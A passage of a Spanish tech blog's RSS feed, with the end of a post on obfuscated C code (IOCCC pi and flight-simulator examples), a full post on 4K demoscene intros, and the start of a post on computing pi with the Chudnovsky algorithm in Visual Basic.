                               <span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color:#800080;">107e2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>_<span style="color: #339933;">;</span> D<span style="color: #339933;">=</span>cos<span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> E<span style="color: #339933;">=</span>sin<span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span></pre></div></div>
<p><strong>Este último fue el ganador del IOCCC de 1998</strong>, y, precisamente, el programa es un inteligente y compacto simulador de vuelo.</p>
<p>Por último, y terminando así con los ejemplos, encontramos lo que para mí es la octava maravilla: <strong>un pequeño programita que calcula PI a través del área del propio círculo ASCII que forma parte del código</strong>. Escrito en <a href="http://en.wikipedia.org/wiki/K%26R">K&amp;R C</a>, no funciona correctamente en <a href="http://es.wikipedia.org/wiki/ANSI_C">ANSI C</a> (lo digo para los que están ya seleccionando para <em>copypastear</em>).</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax13"></a><a style="wp-synhighlighter-title" href="#codesyntax13"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código C</a></div><div class="wp-synhighlighter-inner"><div class="c" style="font-family:monospace;"><span style="color: #339933;">#define _ -F&lt;00||--F-OO--;</span><br />
<span style="color: #993333;">int</span> F<span style="color: #339933;">=</span><span style="color: #208080;">00</span><span style="color: #339933;">,</span>OO<span style="color: #339933;">=</span><span style="color: #208080;">00</span><span style="color: #339933;">;</span>main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>F_OO<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>printf<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%1.3f<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color:#800080;">4.</span><span style="color: #339933;">*-</span>F<span style="color: #339933;">/</span>OO<span style="color: #339933;">/</span>OO<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>F_OO<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
            _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
       _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
    _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
  _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
 _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
 _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
 _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
 _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
  _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
    _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
        _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
            _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<br />
<span style="color: #009900;">&#125;</span></div></div></div>
<p>El código ofuscado <strong>puede resultar muy útil para mantener nuestras líneas lejos de miradas indiscretas</strong>, pero también <strong>puede volverse en nuestra contra a la hora de reparar fallos de programación</strong>. Es importante saber que actualmente existen diversos programas (como los comentados anteriormente) que se encargan de ofuscar software, sobre todo a nivel poscompilación, intentando conseguir así paliar los efectos que un ataque de ingeniería inversa contra nuestros programas podría provocar. Esto es, <strong>la ofuscación puede servir de ayuda a la lucha contra el desensamblado de un ejecutable</strong> con el objeto de generar un <a href="http://es.wikipedia.org/wiki/Crack_inform%C3%A1tico">crack</a> que evite medidas de desbloqueo de un software legal.</p>
<p>Así pues, si importante es mantener el código de un programa limpio, importante puede ser también hacer todo lo contrario. Eso ya depende de <strong>las necesidades del desarrollador</strong> (y de cómo le traten en la empresa).</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F10%2F19%2Fcodigo-ofuscado%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/10/19/codigo-ofuscado/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Código ofuscado" data-url="http://www.teknoplof.com/2010/10/19/codigo-ofuscado/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/10/19/codigo-ofuscado/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Lo impensable en 4 kas</title>
		<link>http://www.teknoplof.com/2010/09/09/lo-impensable-en-4k/</link>
		<comments>http://www.teknoplof.com/2010/09/09/lo-impensable-en-4k/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 11:06:11 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Zona friqui]]></category>
		<category><![CDATA[4k]]></category>
		<category><![CDATA[demoescene]]></category>
		<category><![CDATA[intro]]></category>
		<category><![CDATA[programación]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=3020</guid>
		<description><![CDATA[¿Te crees capaz de meter una presentación con imagen, sonido y animación en tan sólo 4 KB? Si es así, eres carne de demoscene, y lo tuyo, sin duda, es el mundo de la intro 4K.     La demoscene es una subcultura informática que nace en la época de los 8 bits y se populariza en [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_3022" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-3022" title="Fotograma intro 4K" src="http://www.teknoplof.com/wp-content/uploads/2010/09/4k_0.jpg" alt="Fotograma intro 4K" width="180" height="225" /><p class="wp-caption-text">Fotograma intro 4K</p></div>¿Te crees capaz de meter una presentación con imagen, sonido y animación en tan sólo 4 KB? Si es así, eres carne de <em>demoscene</em>, y lo tuyo, sin duda, <strong>es el mundo de la intro 4K</strong>.    </p>
<p>La <a href="http://es.wikipedia.org/wiki/Demoscene"><em>demoscene</em></a> es una <strong>subcultura informática que nace en la época de los 8 bits</strong> y se populariza en los años de los 16 bits, llegando hasta nuestros días prácticamente sin desvirtuar en lo que a la esencia se refiere. <strong>Una demo es un pequeño pedazo de software ejecutable que incluye música, imágenes y animación</strong>. Su origen se remonta a la época del Spectrum y el Commodore 64, cuando los <a href="http://es.wikipedia.org/wiki/Cracker"><em>cracker</em></a> de juegos y programas introducían sus perlas digitales en el software reventado <strong>a modo de firma introductoria antes de la ejecución</strong>. Aquella moda se convirtió en competición, y los jóvenes expertos pugnaban por desarrollar una intro mejor y más impresionante que sus contrincantes (amigos y conocidos, normalmente). Un estilo a las batallas de gallos del mundo de rap, en las que la competición consiste en superar al adversario con todo el arsenal disponible, pero, una vez terminada la disputa, el enemigo se convierte de nuevo en compañero.    </p>
<p>En aquel entonces, <strong>el ingenio había de prevalecer sobre la capacidad en bytes</strong>, porque esta era muy limitada, y la necesidad de hacer algo cada vez más grande se imponía en cada batalla. De allí llegan a nuestros días las <strong>competiciones con límites de capacidad</strong> en todas y cada una de las <a href="http://es.wikipedia.org/wiki/LAN_party"><em>parties</em> informáticas</a> del mundo. Competiciones que pueden ser de gráficos rápidos en 2D, en 3D, grandes demos audiovisuales, intros de 64 KB o intros de 4 KB, entre otras. En principio, <strong>una intro es un derivado de una demo con la particularidad de que la secuencia de imágenes se repite continuamente</strong>, debido, por supuesto, a las limitaciones técnicas que se les requiere.    </p>
<p>El mundo de la intros de 64 KB es el que más llama la atención al extraño o visitante, ya que suelen ser animaciones con luces, sombras y texturas bastante conseguidas para tener que ocupar tan poco espacio en disco. Sin embargo, <strong>la intro 4K sigue siendo la niña bonita de los desarrolladores y expertos</strong>, porque implica un reto que es dechado de imaginación, ingenio, creatividad y conocimiento, <strong>sólo apto para sufridores extremos</strong> dispuestos a compilar cientos de veces hasta que aquello entre en 4.096 bytes, aunque sea con calzador y a cabezazos. Actualmente existen competiciones también de 1 KB, 256 bytes, 64 bytes y hasta de 32 bytes, sin embargo las 4K tienen un algo que enamora a propios y extraños.</p>
<p>Una intro 4K, pues, <strong>es una demo que se caracteriza por una limitación en el tamaño máximo permitido para el ejecutable</strong>, que puede contener código, modelos, texturas, animaciones y música. Por lo general se trata de una competición por y para los <em>coder</em> más avezados de la <em>scene</em>, ya que en 4 KB es imposible acoplar imágenes JPEG o sonidos MID (y prácticamente texturas tampoco), por lo que tanto música, animación, como contenido gráfico deberá estar codificado a golpe de tecla; <strong>es la matemática pura hecha obra de arte</strong>. </p>
<h5 style="text-align: justify;"><em>NOTA: A continuación se muestra el vídeo del resultado de una intro 4K. Todos los vídeos que aparezcan en esta entrada se corresponden con ejecutables binarios de 4 kilobytes, pero preferimos distribuir directamente sus grabaciones en formato videotubo para evitar problemas de compatibilidad por falta de librerías de proceso gráfico o por diferencia de sistemas operativos.</em> </h5>
<p style="text-align: center;"><p><a href="http://www.teknoplof.com/2010/09/09/lo-impensable-en-4k/"><em>Pinche aquí para ver el vídeo</em></a></p>
<p>Las intros de 4 KB son, ante todo, <strong>un ejercicio de programación extrema y empleo masivo de técnicas de compresión</strong>. Además, y como excepción a la regla general de la <em>demoscene</em>, con las intros 4K se relajan las normas morales en cuanto a uso de recursos externos se refiere. Es decir, en las intros 4K, <strong>la <em>demoscene</em> es relativamente flexible y permite que la demo haga uso de librerías externas en el borde de la estandarización</strong> o, incluso, de datos externos (estándares en los sistemas operativos pertinentes) como muestras de sonido o fuentes; aunque esto último no está muy bien visto por algunos <em>scenner</em>. Es cuestión de cada cual juzgar las intros teniendo esto en cuenta, o no, como criterio de decisión. En cualquier caso, la <em>demoscene</em> acepta el hecho con normalidad. Por otra parte, este comportamiento, a priori contrario a la ortodoxia <em>scenner</em>, <strong>no sólo ha permitido que las intros sigan evolucionando</strong> (y por ende, sorprendiendo), <strong>sino que además ha desencadenado nuevas técnicas y ha motivado ingeniosas estrategias y algoritmos</strong>, basados hoy día en cualquier tipo de plataforma, sea MS-DOS, Windows, Linux, Mac OS, las antiguas máquinas de 8 y 16 bits o las consolas de videojuegos más modernas.    </p>
<p><strong>Una intro 4K se construye básicamente en </strong><a href="http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n_C"><strong>lenguaje C</strong></a><strong> plano</strong>, pese a la leyenda urbana que dice que el <a href="http://es.wikipedia.org/wiki/Ensamblador">ensamblador</a> es el idioma único para entenderse con las demos. Puede que en su día lo fuera, y es cierto que en algunos grupos  <em>scenner</em> tiene aún un peso importante, pero mucho de eso pasó ya a la historia. El buen arte de programación del <em>coder</em> es indispensable, pues <strong>el código debe estar lo suficientemente optimizado para generar una aplicación de sólo 4 KB</strong> y de aspecto sorprendente. Las matemáticas más complejas, la geometría fractal, la física de la animación, la trigonometría o la síntesis musical, entre otras materias, <strong>deben ser asignaturas superadas por el desarrollador</strong> (o desarrolladores de un grupo), o no podrá aspirar a un puesto decente en la competición. Librerías como <a href="http://es.wikipedia.org/wiki/Opengl">OpenGL</a> o <a href="http://es.wikipedia.org/wiki/Direct3D">Direct3D</a>, o lenguajes como <a href="http://es.wikipedia.org/wiki/GLSL">GLSL</a> no pueden albergar secretos. </p>
<p style="text-align: center;"><p><a href="http://www.teknoplof.com/2010/09/09/lo-impensable-en-4k/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p>A la hora de programar una 4K es aconsejable seguir algunas directrices que indican los expertos, como, por ejemplo, <strong>modular el código</strong>. Esto, que parece un contrasentido (cuanto más compacto sea el fuente, menos ocupará), es fácilmente explicable, ya que los programas de compresión que se aplican posteriormente a los ejecutables <strong>funcionan mejor si el código de la intro está bien estructurado</strong> y separado en funciones y demás. Otros trucos, por ejemplo, consisten en utilizar los <strong>mínimos parámetros</strong> (no opcionales) de las funciones, <strong>evitar la liberación de recursos y el control de excepciones</strong> y valores de entrada, <strong>redondear valores</strong> con pocos decimales, <strong>conocer los estados por defecto</strong> o <strong>configurar correctamente las funciones del compilador</strong>. La obsesión por el ahorro de espacio se convierte en una paranoia.</p>
<p>Hoy en día <strong>existen numerosas herramientas y recursos gratuitos</strong> creados a propósito para los <em>scenner</em> que codifican intros 4K. Desde <strong>software de compresión</strong> (como <a href="http://www.crinkler.net/">Crinkler</a>), <strong>sintetizadores de música</strong> (si no te apetece desarrollar el tuyo, o no sabes, como <a href="http://sites.google.com/site/qualopec2/4ksynth">4k synth</a>) o completos <strong>frameworks de desarrollo</strong> (como <a href="http://iquilezles.org/www/material/isystem1k4k/isystem1k4k.htm">los de IQ</a>). Además de ello, están a disposición de todo el que lo necesite sitios web con mucha información y recursos, como el español <a href="http://escena.org/">escena.org</a>, el wiki <a href="http://in4k.untergrund.net/index.php?title=Main_Page">IN4K</a> o, sobre todo, <a href="http://pouet.net/">pouet.net</a>, algo así <strong>como la Biblia de la <em>demoscene</em></strong>, la base de datos mundial de <em>scenner</em>, grupos, concentraciones y trabajos publicados. En esta sección de publicación de producciones, podemos encontrar infinidad de demos e intros desarrolladas en cualquier modalidad y para cualquier plataforma. Al acceder a cada una de ellas, tendremos la posibilidad de descargar su ejecutable original o, en muchos casos, de visualizarla vía YouTube (como los ejemplos en este post), ya que <strong>algunas producciones pueden no llegar a llevarse bien con la configuración de nuestro equipo</strong>. El código fuente de muchas demos ha sido liberado y es posible descargarlo también. </p>
<p style="text-align: center;"><p><a href="http://www.teknoplof.com/2010/09/09/lo-impensable-en-4k/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p>Con respecto a los <em>scenner</em> programadores y a sus intros, <strong>varios han sido quienes han descollado a nivel mundial</strong>. Grandes hitos internacionales fueron las intros <a href="http://pouet.net/prod.php?which=16373">Parsec</a> (primer premio en la <a href="http://breakpoint.untergrund.net/">Breakponit</a> de 2005) o <a href="http://pouet.net/prod.php?which=13017">Micropolis</a> (3º en el <a href="http://www.assembly.org/">Assembly</a> 2004), pues representaron un punto de inflexión muy representativo en su época. En el panorama nacional, el grupo propulsor de la categoría 4K fue <a href="http://www.fuzzion.org/">Fuzzion</a>, que desarrolló innumerables intros de calidad como <a href="http://pouet.net/prod.php?which=25603">Polar Field</a> (primer premio en el <a href="http://www.euskal.org/">Euskal Encounter</a> de 2006 y nominada a los <a href="http://awards.scene.org/">Scene.org Awards</a>) o <a href="http://pouet.net/prod.php?which=12856">Frogzilla</a> (también primer premio en el Euskal Encounter del año 2004). También <a href="http://collapse.untergrund.net/">Collapse</a> y <a href="http://pouet.net/groups.php?which=2395">NecroStudios</a> han sido buenos ejemplos locales de desarrollo genial, con intros como <a href="http://pouet.net/prod.php?which=25605">Katedra</a> o <a href="http://pouet.net/prod.php?which=26782">Red Trip</a>. Otros grupos, como <a href="http://www.rgba.org/">r g b a</a>, <a href="http://sfl.untergrund.net/">Software Failure</a> (Ham&#8217;s Cyberneocortical) o <a href="http://pouet.net/groups.php?which=6443">Nocturns</a> han hecho incursiones puntuales en la categoría.   </p>
<p>Pero, sin duda, si algún <em>scenner</em> local ha sobresalido sobre el resto de los demás, <strong>ese es </strong><a href="http://www.iquilezles.org/"><strong>IQ</strong></a>, un donostiarra que <strong>para algunos es el verdadero genio de la lámpara</strong> dentro de la <em>demoscene</em>. En el año 2009, ganó el primer premio en la Breakpoint con una intro que <strong>dejó a media escena mundial con la boca abierta</strong> durante un buen rato. La obra de arte, llamada <a href="http://pouet.net/prod.php?which=52938">Elevated</a>, podría considerarse, probablemente, como <strong>la mejor intro 4K de la historia</strong> sin miedo a equivocarnos (la podemos ver a continuación). Imaginar que esta animación <strong>sólo ocupa 4 kilobytes y está generada exclusivamente a base de algoritmos matemáticos</strong> es suficiente para darnos cuenta por qué se rumoreaba que a su autor <a href="http://blog.bricogeek.com/noticias/programacion/elevated-by-rgba-en-4kb-ganadora-de-la-breakpoint-2009/#more">le andaba rondando Pixar</a> hace bien poco.  </p>
<p style="text-align: center;"><p><a href="http://www.teknoplof.com/2010/09/09/lo-impensable-en-4k/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p>La demo-escena es una cueva del <em>underground</em> informático en el que se encierran <strong>los actuales magos del arte rupestre digital</strong>. ¿Quieres entrar? No es sencillo, pero tampoco imposible. Decántate por imagen o sonido, y estudia, recopila datos, desmenuza producciones ajenas, lee, <strong>aprende de los demás</strong> y ten mucha, mucha paciencia. <strong>Pretende primero grandes demos sin limitaciones</strong> y deja las comprimidas para el final. <strong>Llegar a dominar las 4K se encuentra en el terreno de unos pocos elegidos</strong>.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F09%2F09%2Flo-impensable-en-4k%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/09/09/lo-impensable-en-4k/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Lo impensable en 4 kas" data-url="http://www.teknoplof.com/2010/09/09/lo-impensable-en-4k/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/09/09/lo-impensable-en-4k/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Utilizando el algoritmo Chudnovsky y Visual Basic para calcular los catorce primeros dígitos decimales de Pi sin despeinarse (y otros chismes y cotilleos varios)</title>
		<link>http://www.teknoplof.com/2010/09/02/utilizando-el-algoritmo-chudnovsky-y-visual-basic-para-calcular-los-catorce-primeros-digitos-decimales-de-pi-sin-despeinarse-y-otros-chismes-y-curiosidades-varias/</link>
		<comments>http://www.teknoplof.com/2010/09/02/utilizando-el-algoritmo-chudnovsky-y-visual-basic-para-calcular-los-catorce-primeros-digitos-decimales-de-pi-sin-despeinarse-y-otros-chismes-y-curiosidades-varias/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 15:40:41 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Ciencia]]></category>
		<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[chudnovsky]]></category>
		<category><![CDATA[decimales]]></category>
		<category><![CDATA[pi]]></category>
		<category><![CDATA[visual basic]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=2962</guid>
		<description><![CDATA[Geométricamente hablando, π (pi) es la relación entre la longitud de una circunferencia y su diámetro; matemáticamente hablando, π es una constante con un valor que, generalmente, se redondea a 3,14 (en el colegio) o a 3,14159 (en la universidad). Conocido universalmente como 3,1416, π ha sido aproximado a lo largo de la historia hasta [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_2963" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-2963" title="Pi" src="http://www.teknoplof.com/wp-content/uploads/2010/09/pi_0.jpg" alt="Pi" width="180" height="253" /><p class="wp-caption-text">Pi</p></div>Geométricamente hablando, π (<a href="http://es.wikipedia.org/wiki/N%C3%BAmero_%CF%80">pi</a>) es <strong>la relación entre la longitud de una circunferencia y su diámetro</strong>; matemáticamente hablando, π es <strong>una constante</strong> con un valor que, generalmente, se redondea a <code>3,14</code> (en el colegio) o a <code>3,14159</code> (en la universidad). Conocido universalmente como <code>3,1416</code>, π ha sido aproximado a lo largo de la historia hasta una exactitud de 5 billones de decimales, <a href="http://tecnoculto.com/2010/08/09/calculando-pi-hasta-los-5-billones-de-dgitos/">esto hace bien poquito</a>. Y es que los matemáticos y los informáticos no tienen otra cosa que hacer en este mundo que perder el tiempo intentando encontrar un decimal nuevo para hacerse famosos y salir en el <a href="http://www.muyinteresante.es/">Muy Interesante</a> y en la Wikipedia. Como si no supieran que esta carrera no tiene fin, y que <strong>pasado mañana saldrá a la palestra un chino mandarino o un japonés loco que encontrará el decimal número 6 billones</strong>; como si lo estuviera viendo.</p>
<p>Para los estudiantes del bachillerato actual diremos que <strong>π señala las veces en que el diámetro de un círculo cabe en su circunferencia</strong>. Ahora sí, ¿verdad? Hacemos un redondel con una cuerda y la estiramos en el suelo. Luego marcamos los diámetros sobre la cuerda y comprobamos que nos caben 3 y un poquito más. Eso es π. El siguiente <a href="http://es.wikipedia.org/wiki/Gif">GIF</a> animado es totalmente esclarecedor.</p>
<p><div id="attachment_2964" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2964" title="Explicación gráfica de Pi muy sencilla de entender" src="http://www.teknoplof.com/wp-content/uploads/2010/09/pi_1.gif" alt="Explicación gráfica de Pi muy sencilla de entender" width="500" height="158" /><p class="wp-caption-text">Explicación gráfica de Pi muy sencilla de entender</p></div>
<p>En fin, nos unimos al carro de aproximaciones de π, pero no para intentar descubrir el decimal seiscientos trillones, sino <strong>para conocer el algoritmo Chudnovsky</strong>, uno de los más modernos métodos de calcular decimales de π. Algoritmos para este menester <a href="http://personal.auna.com/jguillera/historia-pi11.pdf">ha habido infinidad de ellos</a> desde que el mundo es mundo, empezando por el de Arquímedes y pasando por los de Euler, Newton o Gauss (sí, el de las campanas).</p>
<p>El algoritmo Chudnovsky, descubierto por <a href="http://es.wikipedia.org/wiki/Hermanos_Chudnovsky">los hermanos David y Gregory Chudnovsky</a>, matemáticos ucranianos, <strong>parece ser el más empleado en los cálculos de alta precisión de dígitos de π a comienzos de este siglo XXI</strong> en el que nos encontramos. Se fundamenta en una fórmula del hindú <a href="http://es.wikipedia.org/wiki/Ramanujan">Ramanujan</a> e <strong>implementa una serie de convergencia rápida siguiendo una </strong><a href="http://es.wikipedia.org/wiki/Serie_hipergeom%C3%A9trica"><strong>serie hipergeométrica</strong></a>. Su fórmula es la siguiente:</p>
<div id="attachment_2965" class="wp-caption aligncenter" style="width: 410px"><img class="size-full wp-image-2965" title="Algoritmo matemático Chudnovsky" src="http://www.teknoplof.com/wp-content/uploads/2010/09/pi_2.jpg" alt="Algoritmo matemático Chudnovsky" width="400" height="50" /><p class="wp-caption-text">Algoritmo matemático Chudnovsky</p></div>
<p>Como se puede comprobar, no es más que <strong>un sumatorio sobre k desde 0 hasta infinito</strong> (∞), donde se hacen una barbaridad de operaciones en función de k en cada iteración. <strong>Cada término de esta fórmula añade 14 decimales exactos al valor calculado de π</strong>; k es una proporción entre la precisión en decimales que necesitemos calcular y el valor límite de 14. <strong>Es una fórmula incluida en el famoso software </strong><a href="http://www.wolfram.com/products/mathematica/index.html"><strong>Mathematica</strong></a>, de uso común en el ámbito científico.</p>
<p>Lo que se detalla a continuación es un pequeño código en Visual Basic que <strong>nos permite extraer el valor exacto de π con sus catorce primeros decimales haciendo uso de la fórmula de los hermanos Chudnovsky</strong>. Es muy sencillo de entender, ya que sólo sigue paso a paso el algoritmo. Destacar únicamente la función auxiliar <code>Factorial</code> para calcular los factoriales requeridos.</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax14"></a><a style="wp-synhighlighter-title" href="#codesyntax14"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código Visual Basic</a></div><div class="wp-synhighlighter-inner"><div class="vb" style="font-family:monospace;"><span style="color: #000080;">Private</span> <span style="color: #000080;">Sub</span> Chudnovsky()<br />
